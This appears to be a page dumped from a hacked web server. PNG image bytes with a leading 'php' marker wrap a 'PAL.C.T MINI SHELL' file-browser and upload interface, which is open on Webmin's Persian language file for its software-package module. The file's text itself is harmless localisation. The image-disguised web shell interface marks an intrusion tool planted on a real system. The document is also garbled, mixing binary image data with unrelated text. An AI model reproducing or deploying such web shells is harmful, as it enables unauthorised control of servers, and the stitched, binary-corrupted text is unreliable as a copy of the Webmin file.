php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/fa.auto

index_title=بسته های نرم افزاری
index_installed=بسته های نصب شده
index_close=همه را ببند
index_open=همه را باز کنید
index_search=جستجوی بسته:
index_install=یک بسته جدید نصب کنید
index_installmsg=مکان را برای نصب یک بسته$1 جدید از.. انتخاب کنید.
index_local=از پرونده محلی
index_uploaded=از پرونده بارگذاری شده
index_ftp=از ftp یا URL URL
index_installok=نصب
index_ident=یک پرونده را شناسایی کنید
index_identmsg=برای جستجوی پایگاه داده$1 ، یک فرمان یا نام مسیر را وارد کنید.
index_identok=جستجو برای:
index_all=همه بسته ها
index_return=فهرست ماژول
index_treturn=درخت بسته بندی
index_tree=درخت بسته بندی
index_epackagecmd=سیستم بسته$1 نیاز به دستور$2 دارد
index_eupdatecmd=سیستم$1 به روزرسانی نیاز به دستور$2 دارد
index_epackagecheck=سیستم مدیریت بسته انتخاب شده معتبر نیست:$1. ممکن است لازم باشد سیستم دیگری را در صفحه <a href='$2'>پیکربندی ماژول</a> انتخاب کنید.
index_eupdatecheck=سیستم به روزرسانی انتخاب شده معتبر نیست:$1. ممکن است شما نیاز به انتخاب یک روش بروزرسانی متفاوت در صفحه <a href='$2'>پیکربندی ماژول</a> داشته باشید.
index_echeckpackage=هیچ سیستم بسته بندی شناسایی نشد!
index_echeckupdate=هیچ سیستم بروزرسانی شناسایی نشد!
index_filter=بسته های فیلتر
index_filterclear=فیلتر را پاک کنید
index_filtered=در حال نمایش بسته های <tt>$1</tt> از <tt>$2</tt>

search_title=جستجوی بسته
search_nomatch=هیچ بسته ای با$1 مطابقت ندارد
search_none=هیچ یک
search_desc=شرح
search_class=کلاس
search_pack=بسته بندی
search_match=بسته های مطابق با$1
search_return=نتایج جستجو
search_esearch=شما برای جستجو چیزی وارد نکردید!
search_delete=بسته های انتخاب شده را حذف کنید
search_selall=انتخاب همه
search_invert=انتخاب معکوس

edit_title=ویرایش بسته
edit_details=جزئیات بسته
edit_desc=شرح
edit_pack=بسته بندی
edit_class=کلاس
edit_none=هیچ یک
edit_ver=نسخه
edit_vend=فروشنده
edit_arch=معماری
edit_inst=نصب شده است
edit_list=لیست پرونده ها
edit_listdesc=تمام پرونده های این بسته و وضعیت تأیید فعلی آنها را نشان دهید.
edit_uninst=حذف نصب کنید
edit_uninstdesc=این بسته را از سیستم خود حذف کنید.
edit_return=جزئیات بسته
edit_egone=بسته دیگر نصب نشده است

list_title=پرونده های بسته بندی
list_files=پرونده ها برای بسته بندی$1
list_path=مسیر
list_owner=صاحب
list_group=گروه
list_type=تایپ کنید
list_size=اندازه
list_status=وضعیت
list_ok=خوب
list_view=(چشم انداز)
list_eview= $1 : $2 باز نشد

delete_err=پاک کردن بسته$1 انجام نشد
delete_epack=بسته$1 وجود ندارد
delete_title=پاک کردن بسته
delete_rusure=آیا مطمئن هستید که می خواهید بسته$1 را حذف کنید؟ حداکثر$2 پرونده ($3) برای همیشه حذف خواهند شد.
delete_rusure2=آیا مطمئن هستید که می خواهید بسته$1 را حذف کنید؟
delete_ok=حذف
delete_nodeps=وابستگی ها را نادیده می گیرید؟
delete_noscripts=اسکریپتهای حذف را رد کنید؟
delete_efile=پرونده دمای معتبر برای حذف
delete_purge=پاکسازی پرونده های پیکربندی؟
delete_depstoo=وابستگی های بلا استفاده را نیز حذف کردید؟

file_title=اطلاعات پرونده
file_notfound=هیچ اطلاعاتی در مورد$1 در دسترس نیست
file_path=مسیر
file_type=تایپ کنید
file_perms=مجوزها
file_owner=صاحب
file_group=گروه
file_size=اندازه
file_link=پیوند به
file_pack=بسته بندی
file_class=کلاس
file_desc=شرح
file_none=هیچ یک

install_err=نصب بسته انجام نشد
install_elocal=هیچ پرونده محلی داده نشده است
install_elocal2="$1" وجود ندارد
install_eupload=مرورگر شما از آپلودهای فایل پشتیبانی نمی کند
install_eurl=URL غیرقابل درک "$1"
install_eupdate=هیچ بسته ای برای نصب وارد نشده است
install_edir=فهرست $1 معتبری نیست
install_ezip=یک فایل$1 فشرده یا فشرده معتبر معتبر نیست
install_efile=یک پرونده$1 معتبر نیست
install_title=بسته را نصب کنید
install_header=بسته را نصب کنید
install_packs=بسته (های) نصب شده
install_ok=نصب

do_err=نصب بسته$1 انجام نشد
do_title=بسته را نصب کنید
do_efailed=نصب انجام نشد :$1
do_efailedmsg1=با بازگشت به صفحه قبلی و انتخاب گزینه های مختلف نصب ، می توانید دوباره نصب کنید.
do_efailedmsg2=در غیر این صورت <a href='$1'>برای حذف فایل بسته موقت</a> اینجا را کلیک کنید تا فضای دیسک را ذخیره کنید.
do_success=بسته$1 با موفقیت نصب شد
do_details=جزئیات بسته
do_desc=شرح
do_class=کلاس
do_pack=بسته بندی
do_ver=نسخه
do_vend=فروشنده
do_arch=معماری
do_inst=نصب شده است
do_none=هیچ یک
do_files=پرونده های بسته بندی

pkgadd_root=دایرکتوری ریشه
pkgadd_eroot=فهرست ریشه "$1" وجود ندارد
pkgadd_unknown=ناشناخته
pkgadd_manager=مدیر بسته بندی سیستم V

rpm_upgrade=آپدیت بسته؟
rpm_replacepkgs=بسته را بازنویسی کنید؟
rpm_nodeps=وابستگی ها را نادیده می گیرید؟
rpm_oldpackage=نسخه جدید را با قدیمی جایگزین کنید؟
rpm_noscripts=اسکریپت های نصب را اجرا می کنید؟
rpm_excludedocs=مستندات را نصب کنید؟
rpm_replacefiles=رونویسی پرونده ها؟
rpm_notriggers=اسکریپت های فعال شده را اجرا کنید؟
rpm_ignoresize=اندازه سیستم فایل را بررسی کنید؟
rpm_root=دایرکتوری ریشه
rpm_eroot=فهرست ریشه "$1" وجود ندارد
rpm_search=جستجو rpmfind.net برای:
rpm_none=هیچ بسته ای مطابق با جستجوی شما یافت نشد.
rpm_find=جستجو rpmfind.net ..
rpm_findrpm=نام پرونده
rpm_finddistro=توزیع
rpm_finddesc=شرح

bsd_unknown=ناشناخته
bsd_scripts=اسکریپت های نصب و راه اندازی قبل و بعد را اجرا می کنید؟
bsd_force=اگر پیش نیازهای لازم را ندارید نصب کنید؟
bsd_manager=$1 مدیر بسته

slack_unclass=دیگر
slack_unknown=ناشناخته
slack_missing=گمشده
slack_root=دایرکتوری ریشه
slack_eroot=فهرست اصلی ریشه وجود ندارد یا نامعتبر است
slack_manager=مدیر بسته Slackware
slack_edir=فهرست بسته های Slackware $1 وجود ندارد

debian_unknown=ناشناخته
debian_depends=مشکلات وابستگی را نادیده می گیرید؟
debian_conflicts=نادیده گرفتن درگیری بسته؟
debian_overwrite=فایلها را از بسته های دیگر رونویسی کنید؟
debian_downgrade=بسته جدیدتر را با قدیمی جایگزین کنید؟
debian_manager=دبیان DPKG

log_install_package=بسته نصب شده$1
log_install_apt_l=بسته (های)$1 از APT نصب شده است
log_install_apt=بسته$2 از APT نصب شده است
log_install_yum_l=بسته (های)$1 از YUM نصب شده است
log_install_yum=بسته های$2 از YUM نصب شده است
log_install_rhn_l=بسته (های)$1 از Redhat Network نصب شده است
log_install_rhn=بسته$2 را از شبکه Redhat نصب کرد
log_check_apt_l=بسته (های) ارتقا یافته$1 از APT
log_check_apt=بسته های$2 از APT به روز شد
log_delete=بسته نصب نشده$1
log_deletes_l=بسته های حذف نشده$1
log_deletes=بسته های$1 حذف نشده است
log_urpmi_update=بسته های URPMI موجود را به روز کرد
log_urpmi_upgrade=بسته های URPMI نصب شده را به روز کرد
log_upgrade_yum_l=بسته (های)$1 ارتقا یافته از YUM
log_upgrade_yum=بسته های$2 از YUM به روز شد
log_check_rhn_l=بسته (های) ارتقا یافته$1 از شبکه Redhat
log_check_rhn=بسته (های)$2 از شبکه Redhat به روز شد

rhn_input=بسته بندی از شبکه Redhat
rhn_find=جستجو در RHN ..
rhn_install=نصب بسته (های) با دستور$1 ..
rhn_ok=.. نصب کامل.
rhn_failed=.. نصب نشد!
rhn_title=بسته RHN را انتخاب کنید
rhn_pack=بسته بندی
rhn_version=نسخه
rhn_form=گزینه های شبکه Redhat
rhn_header=گزینه های به روزرسانی خودکار بسته
rhn_auto=به صورت خودکار برای به روزرسانی ها بررسی می شود؟
rhn_interval=فاصله بازرسی
rhn_secs=دقایق
rhn_apply=ذخیره و اعمال شود
rhn_now=اکنون ذخیره و بررسی کنید
rhn_err=گزینه های RHN ذخیره نشد
rhn_einterval=فاصله نامعتبر یا نامعتبر است
rhn_einterval2=فاصله بازرسی حداقل باید 120 ثانیه باشد
rhn_check=در حال بررسی به روزرسانی ها
rhn_checkdesc=بررسی بسته های به روز شده از شبکه Redhat با دستور$1 ..
rhn_nocheck=.. هیچ بسته ای به روز نشده
rhn_proxy=URL سرور پروکسی برای بارگیری
rhn_none=معلول
rhn_eproxy=سرور پروکسی موجود نیست یا نامعتبر است
rhn_skip=تطبیق بسته ها را پرش کنید
rhn_nonefound=هیچ بسته ای برای بروزرسانی موجود نیست
rhn_name=شبکه Redhat

apt_input=بسته بندی از APT
apt_install=نصب بسته (های) با دستور$1 ..
apt_ok=.. نصب کامل.
apt_failed=.. نصب نشد!
apt_form=همه بسته ها را ارتقا دهید
apt_header=گزینه های ارتقاء بسته APT
apt_update=تنظیم مجدد لیست بسته ها (<tt>به روز رسانی</tt>)
apt_mode=حالت ارتقا
apt_mode2=به روزرسانی توزیع (<tt> ارتقاء فاصله)
apt_mode1=ارتقاء عادی
apt_mode0=بروزرسانی نکنید
apt_sim=فقط نشان می دهد کدام بسته ها به روز می شوند
apt_apply=اکنون ارتقا دهید
apt_upgrade=همه بسته ها را ارتقا دهید
apt_updatedesc=تنظیم مجدد لیست بسته ها با دستور$1 ..
apt_updatefailed=.. تنظیم مجدد انجام نشد!
apt_updateok=.. تنظیم مجدد کامل شد.
apt_upgradedesc=به روزرسانی همه بسته ها با دستور$1 ..
apt_upgradedescsim=ارتقاء همه بسته ها با دستور$1 شبیه سازی می شود.
apt_upgradefailed=.. بروزرسانی انجام نشد!
apt_upgradeok=.. بروزرسانی کامل شد.
apt_search=بسته های مطابق را پیدا کنید :
apt_find=جستجوی APT ..
apt_title=جستجوی APT
apt_name=APT
apt_repo_url=URL پایه مخزن
apt_repo_path=اجزای مسیر توزیع
apt_repo_eurl=URL پایه یا نامشخص است
apt_repo_epath=مسیر توزیع وجود ندارد

yum_input=بسته بندی از YUM
yum_install=نصب بسته (های) با دستور$1 ..
yum_ok=.. نصب کامل.
yum_failed=.. نصب نشد!
yum_find=مرور YUM ..
yum_package=بسته بندی
yum_version=نسخه
yum_arch=معماری
yum_source=منبع
yum_form=همه بسته ها را ارتقا دهید
yum_apply=همه بسته های نصب را از YUM به روز کنید
yum_upgrade=همه بسته ها را ارتقا دهید
yum_upgradedesc=به روزرسانی همه بسته ها با دستور$1 ..
yum_upgradefailed=.. بروزرسانی انجام نشد!
yum_upgradeok=.. بروزرسانی کامل شد.
yum_title=YUM را مرور کنید
yum_name=یوم
yum_enable=فعال کردن مخزن:
yum_none=&lt;نه&gt;
yum_repo_id=شناسه مخزن
yum_repo_name=توضیحات مخزن
yum_repo_url=URL پایه بسته
yum_repo_gpg=پرونده گواهی GPG
yum_repo_none=امضا نشده
yum_repo_eid=شناسه مخزن موجود یا نامعتبر است - فقط حروف و شماره مجاز هستند
yum_repo_eidclash=شناسه مخزن در حال استفاده است
yum_repo_ename=نام مخزن موجود نیست
yum_repo_eurl=URL مخزن موجود یا نامعتبر است
yum_repo_egpg=پرونده گواهی GPG وجود ندارد یا وجود ندارد
yum_repo_efile=پرونده مخزن از قبل وجود دارد!

urpmi_name=URPMI
urpmi_input=بسته بندی از URPMI
urpmi_find=مرور URPMI ..
urpmi_form=همه بسته ها را ارتقا دهید
urpmi_update=بسته های موجود URPMI را به روز کنید
urpmi_upgrade=بسته های URPMI نصب شده را به آخرین نسخه ها ارتقا دهید
urpmi_title_update=به روزرسانی بسته های موجود
urpmi_title_upgrade=به روزرسانی بسته های نصب شده
urpmi_updatedesc=دستور اجرای$1 ..
uprmi_upgradefailed=.. ناموفق!
urpmi_upgradeok=.. کامل.
urpmi_install=نصب بسته (های) با دستور$1 ..
urpmi_ok=.. نصب کامل.
urpmi_failed=.. نصب نشد!

rpm_missing=گمشده
rpm_checkfail=بررسی$1 انجام نشد
rpm_md5=MD5
rpm_fsize=حجم فایل
rpm_sym=Symlink
rpm_mtime=زمان اصلاح
rpm_dev=دستگاه
rpm_user=مالکیت کاربر
rpm_perm=مجوزها
rpm_group=مالکیت گروه
rpm_erpm=RPM $1 یافت نشد :$2

soft_reg=پرونده منظم
soft_dir=فهرست راهنما
soft_spec=پرونده ویژه
soft_sym=پیوند نمادین
soft_hard=لینک سخت
soft_edit=پرونده قابل ویرایش
soft_efunc=عملکردهای بسته بندی$1 سیستم بارگیری نشد.
soft_euncompress=پرونده فشرده شده است ، اما دستور <tt>uncompress</tt> در سیستم شما یافت نشد.
soft_euncmsg=عدم فشرده سازی پرونده :$1 انجام نشد
soft_egzip=پرونده gzipped است ، اما دستور gzip در سیستم شما یافت نشد.
soft_egzmsg=پرونده اسلحه سازی انجام نشد :$1

aix_unknown=ناشناخته
aix_device=دستگاه / دایرکتوری ورودی برای نرم افزار
aix_software=نرم افزاری برای نصب
aix_preview=فقط پیش نمایش؟ (عملیات نصب رخ نخواهد داد)
aix_commit=به روزرسانی های نرم افزار COMIT؟
aix_save=ذخیره فایلهای جایگزین؟
aix_auto=به صورت خودکار نرم افزار مورد نیاز را نصب کنید؟
aix_extend=در صورت نیاز فضای سیستم EXTEND؟
aix_overwrite=نسخه های مشابه یا جدیدتر را بیش از حد؟
aix_verify=VERIFY اندازه پرونده را نصب و بررسی کنید؟
aix_include=شامل پرونده های LANGUAGE مربوطه؟
aix_detail=خروجی DETAILED؟
aix_process=چندین جلد را پردازش کنید؟
aix_accept=موافقت نامه های مجوز جدید را قبول کنید؟
aix_license=پیش نمایش توافق نامه های جدید LICENSE؟
aix_clean=عدم موفقیت نصب پاکسازی؟
aix_manager=مدیر بسته AIX

emerge_input=از مخزن Portage
emerge_find=جستجو کردن ..
emerge_install=نصب بسته با دستور$1 ..
emerge_failed=.. نصب نشد!
emerge_ok=.. نصب کامل.
emerge_search=جستجوی بسته:
emerge_pack=بسته بندی
emerge_class=کلاس
emerge_version=نسخه
emerge_desc=شرح
emerge_none=هیچ بسته ای با جستجوی شما مطابقت ندارد.
emerge_noreplace=بسته های موجود را جایگزین کنید؟
emerge_onlydeps=فقط وابستگی ها را نصب کنید؟
emerge_title=جستجوی قسمت
emerge_name=پرتره

cygwin_fmissing=پرونده موجود نیست
cygwin_lmissing=فایلی که نقاط لینک در آن وجود ندارد
cygwin_estat=پرونده آماری انجام نشد:$1
cygwin_elread=خواندن Symlink انجام نشد:$1
cygwin_elstat=نتوانستید Symlink را ذخیره کنید:$1
cygwin_badpostscript=هشدار: به نظر نمی رسد که این اسکریپت اجرا شده است
cygwin_pkgexists=بسته$1 قبلاً وجود دارد.
cygwin_warnuse=هشدار: این یک رابط رسمی برای مدیریت نرم افزار Cygwin نیست. از خطر خود استفاده کنید.
cygwin_edb=پایگاه داده بسته های Cygwin $1 وجود ندارد

deletes_err=پاک کردن بسته ها انجام نشد
deletes_enone=هیچ بسته انتخاب نشده است
deletes_title=بسته ها را حذف کنید
deletes_desc=حذف بسته ها$1 ..
deletes_failed1=حذف $1 : $2 انجام نشد
deletes_success1=با موفقیت $1 حذف شد
deletes_failed2=حذف انجام نشد :$1
deletes_success2=.. حذف کامل شد.
deletes_rusure=آیا مطمئن هستید که می خواهید بسته های$1 را حذف کنید؟
deletes_ok=همه آنها را حذف کنید

csw_input=بسته از CSW
csw_install=نصب بسته (های) با دستور$1 ..
csw_ok=.. نصب کامل.
csw_failed=.. نصب نشد!
csw_already=.. قبلاً نصب شده
csw_retry=.. دوباره سعی کنید با وابستگی های جدید
csw_find=مرور CSW ..
csw_package=بسته بندی
csw_version=نسخه
csw_title=مرور CSW
csw_name=CSW
csw_form=به روزرسانی بسته ها
csw_upgrade=همه بسته های نصب شده را ارتقا دهید
csw_updatedesc=به روزرسانی همه بسته های نصب شده با دستور$1 ..

missing_msg=بسته$1 را می توان به طور خودکار توسط Webmin با استفاده از$2 نصب کرد.
missing_now=الآن نصب کن

find_title=جستجو برای بسته بندی
find_search=بسته های مطابق را پیدا کنید:
find_name=نام
find_version=نسخه
find_desc=شرح
find_none=هیچ بسته ای مطابق با جستجوی شما یافت نشد.

msi_users=برنامه جدید را در دسترس قرار دهید
msi_users0=هیچ کس
msi_users1=کاربر فعلی
msi_users2=تمام کاربران
msi_missing=وجود ندارد
msi_size=سایز اشتباه

hpux_create_target_path=مسیر هدف ایجاد کنید؟
hpux_mount_all_filesystems=سوار همه سیستم فایلها؟
hpux_reinstall=نصب مجدد؟
hpux_reinstall_files=نصب مجدد پرونده ها؟
hpux_reinstall_files_use_cksum=نصب مجدد فایل ها از چک استفاده می کند؟
hpux_allow_multiple_versions=چندین نسخه مجاز است؟
hpux_defer_configure=پیکربندی را معطل کنید؟
hpux_autorecover_product=کالای Autorecover؟
hpux_allow_downdate=اجازه سقوط؟
hpux_allow_incompatible=ناسازگار است؟
hpux_autoselect_dependencies=وابستگی های خودکار را انتخاب کنید؟
hpux_enforce_dependencies=وابستگی ها را اعمال کنید؟
hpux_enforce_scripts=اجرای اسکریپت ها؟
hpux_enforce_dsa=تجزیه و تحلیل فضای دیسک را اجرا کنید؟
hpux_root=دایرکتوری ریشه

ports_install=نصب درگاه های FreeBSD $1 ..
ports_failed=.. برخی از درگاه ها انجام نشد
ports_ok=.. نصب کامل
ports_input=بسته بندی از درگاه ها
ports_find=بنادر جستجو
ports_name=پورت های FreeBSD
ports_form=بانک اطلاعات بنادر را به روز کنید
ports_apply=دانلود آخرین عکس فوری
ports_upgrade=بارگیری عکس فوری پورت ها
ports_running=دستور اجرای$1 ..

pkg_install=نصب بسته های FreeBSD $1 ..
pkg_failed=.. برخی از بسته ها انجام نشد
pkg_ok=.. نصب کامل
pkg_find=جستجو pkgng
pkg_input=بسته بندی از pkgng

pkgsrc_install=نصب بسته های pkgsrc $1 ..
pkgsrc_failed=.. برخی از بسته ها انجام نشد
pkgsrc_ok=.. نصب کامل
pkgsrc_find=جستجو pkgng
pkgsrc_input=بسته بندی از pkgsrc

log_IPKG_update=پایگاه داده IPKG به روز شد
log_IPKG_upgrade=بسته های IPKG نصب شده را به روز کرد

IPKG_name=IPKG
IPKG_input=بسته بندی از IPKG
IPKG_find=مرور IPKG ..
IPKG_form=بسته های IPKG را مدیریت کنید
IPKG_update=بانک اطلاعات بسته های IPKG را به روز کنید
IPKG_upgrade=بسته های IPKG نصب شده را ارتقا دهید
IPKG_title_update=به روزرسانی پایگاه داده IPKG
IPKG_title_upgrade=به روزرسانی بسته های نصب شده
IPKG_updatedesc=دستور اجرای$1 ..
IPKG_upgradefailed=.. ناموفق!
IPKG_upgradeok=.. کامل.
IPKG_install=نصب بسته (های) با دستور$1 ..
IPKG_ok=.. نصب کامل.
IPKG_failed=.. نصب نشد!
IPKG_index_tree=بسته های IPKG را مدیریت کنید
IPKG_install_package=نصب
IPKG_install_packagedesc=این بسته را روی سیستم خود نصب کنید
IPKG_noupgrade=هیچ چیز برای به روزرسانی نیست
IPKG-edit_title=بسته IPKG را مدیریت کنید
IPKG_update_avail=به روزرسانی قابل استفاده:
IPKG_not_installed=بسته نصب نشده است
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`